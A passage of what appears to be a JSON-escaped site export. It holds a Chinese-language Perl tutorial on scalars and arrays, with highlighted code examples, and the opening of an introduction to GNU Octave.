\u0026#34;string1\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$b\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;string\u0026#34;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"nv\"\u003e$a\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 註：\u0026#39;.\u0026#39; 為字串相加運算子\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (3) 在字串內安插變數\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$val\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e12\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$str1\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;I have $val dollars.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e     \u003cspan class=\"c1\"\u003e# 安插變數\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$str2\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#39;I have \u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"nv\"\u003e$val\u003c/span\u003e \u003cspan class=\"o\"\u003e.\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#39; dollars.\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e# 字串相加\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$str3\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;def\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# Perl 有時容易誤判變數名稱\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$str4\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;abc$str3ghijk\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 加入 {} 之後，可讓 Perl 正確判斷安插變數名稱\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$str5\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;abc${str3}ghijk\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (4) 特殊變數 $_\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$_\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Bill\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# 若省略參數，預設為 $_，即 print $_;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (5) chomp,chop 刪除最後一個(換行)字元\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$str1\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;hello world.\\n\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003echomp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$str1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# 刪除最後一個換行字元，變成 \u0026#34;hello world.\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003echomp\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$str1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# 無效果\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003echop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$str1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e    \u003cspan class=\"c1\"\u003e# 刪除最後一個字元，變成 \u0026#34;hello world\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003echop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$str1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e    \u003cspan class=\"c1\"\u003e# 刪除最後一個字元，變成 \u0026#34;hello worl\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"陣列array\"\u003e陣列（Array）\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-perl\" data-lang=\"perl\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 陣列(array)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (1) 陣列：\u0026#39;@\u0026#39; 開頭，一連串的純量\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@empty\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e();\u003c/span\u003e    \u003cspan class=\"c1\"\u003e# 空陣列\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 一陣列內含兩元素 \u0026#34;Bill\u0026#34; \u0026#34;Mary\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@arr1\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Bill\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Mary\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# @arr2 = (\u0026#34;Bill\u0026#34;,\u0026#34;Mary\u0026#34;,\u0026#34;John\u0026#34;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@arr2\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@arr1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;John\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# @arr3 = (\u0026#34;John\u0026#34;,\u0026#34;Mary\u0026#34;,\u0026#34;Bill\u0026#34;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@arr3\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ereverse\u003c/span\u003e \u003cspan class=\"nv\"\u003e@arr2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 按照 ASCII 碼排序，@arr4 = (\u0026#34;Bill\u0026#34;,\u0026#34;John\u0026#34;,\u0026#34;Mary\u0026#34;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@arr4\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003esort\u003c/span\u003e \u003cspan class=\"nv\"\u003e@arr2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$arr1\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e         \u003cspan class=\"c1\"\u003e# \u0026#34;Mary\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$#arr2\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e           \u003cspan class=\"c1\"\u003e# @arr2 最後一個元素的 index 即 2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$arr2\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nv\"\u003e$#arr2\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e        \u003cspan class=\"c1\"\u003e# @arr2 最後一個元素\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprint\u003c/span\u003e \u003cspan class=\"nv\"\u003e$arr2\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e        \u003cspan class=\"c1\"\u003e# @arr2 倒數第二個元素\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@arr4\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;a\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;b\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;c\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;d\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;f\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@arr5\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e@arr4\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e..\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e        \u003cspan class=\"c1\"\u003e# 取出 @arr4 第三到第五個元素\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nv\"\u003e$b\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$b\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e      \u003cspan class=\"c1\"\u003e# 交換 $a 與 $b\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (2) 純量與陣列語境\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@array\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;a\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;b\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;c\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e     \u003cspan class=\"c1\"\u003e# 陣列\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$scalar1\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e@array\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e      \u003cspan class=\"c1\"\u003e# Perl 會傳回 @array 的長度\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$scalar2\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003esort\u003c/span\u003e \u003cspan class=\"nv\"\u003e@array\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e     \u003cspan class=\"c1\"\u003e# Perl 會傳回 undef\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$scalar3\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ereverse\u003c/span\u003e \u003cspan class=\"nv\"\u003e@array\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e  \u003cspan class=\"c1\"\u003e# Perl 會傳回 \u0026#34;cba\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$scalar4\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;@array\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e        \u003cspan class=\"c1\"\u003e# Perl 會傳回 \u0026#34;a b c\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$scalar\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;a\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e          \u003cspan class=\"c1\"\u003e# 純量\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$scalar\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e          \u003cspan class=\"c1\"\u003e# 陣列，元素個數為一\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (3) pop,push,shift,unshift 陣列處理\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003epush\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# push 後，@arr = (0,1,2)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003epop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e \u003cspan class=\"c1\"\u003e# pop 後，@arr = (0,1)，$a = 2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003eunshift\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e    \u003cspan class=\"c1\"\u003e# unshift 後，@arr = (2,0,1)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$a\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003eshift\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e   \u003cspan class=\"c1\"\u003e# shift 後，@arr = (0,1)，$a = 2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# (4) split,join\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$str\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;It\u0026#39;s my life.\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 以空白做分隔，將 $str 切成陣列，存入 @arr\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003esplit\u003c/span\u003e \u003cspan class=\"sr\"\u003e/ /\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nv\"\u003e$str\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e# 以 \u0026#34;-\u0026#34; 作分隔，將 @arr 連接成一個純量變數\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$str2\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003ejoin\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;-\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nv\"\u003e@arr\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Perl 純量（Scalar）與陣列（Array）"},{"content":"什麼是 Octave ？ GNU Octave 是一個免費的開放原始碼軟體系統，主要用於數值計算與繪圖，尤其是在矩陣運算上，例如聯立方程式、eigenvectors 與 eigenvalues 等，透過其互動式的指令環境，使用者可以快速的解決各種數值上的問題，而其強大的繪圖功能可以將資料以各種方式呈現。\nGNU Octave 也是一種語言，其語法與 Matlab 幾乎相同，是最接近 Matlab 的開放原始碼軟體，可使視為免費的 Matlab，由於 Octave 與 Matlab 的相容性高，加上開放原始碼的貢獻者的努力，目前 Octave 已經被廣泛的使用在學術界與業界。\nOctave 允許使用者自行撰寫 Octave 程式，甚至擴充 Octave 的功能，由於 Octave 的開放原始碼與可擴充的特性，經由全世界眾多的 Octave 開發者持續貢獻，目前 Octave 已經有非常多的套件可以使用，使用者可以到 Octave-Forge 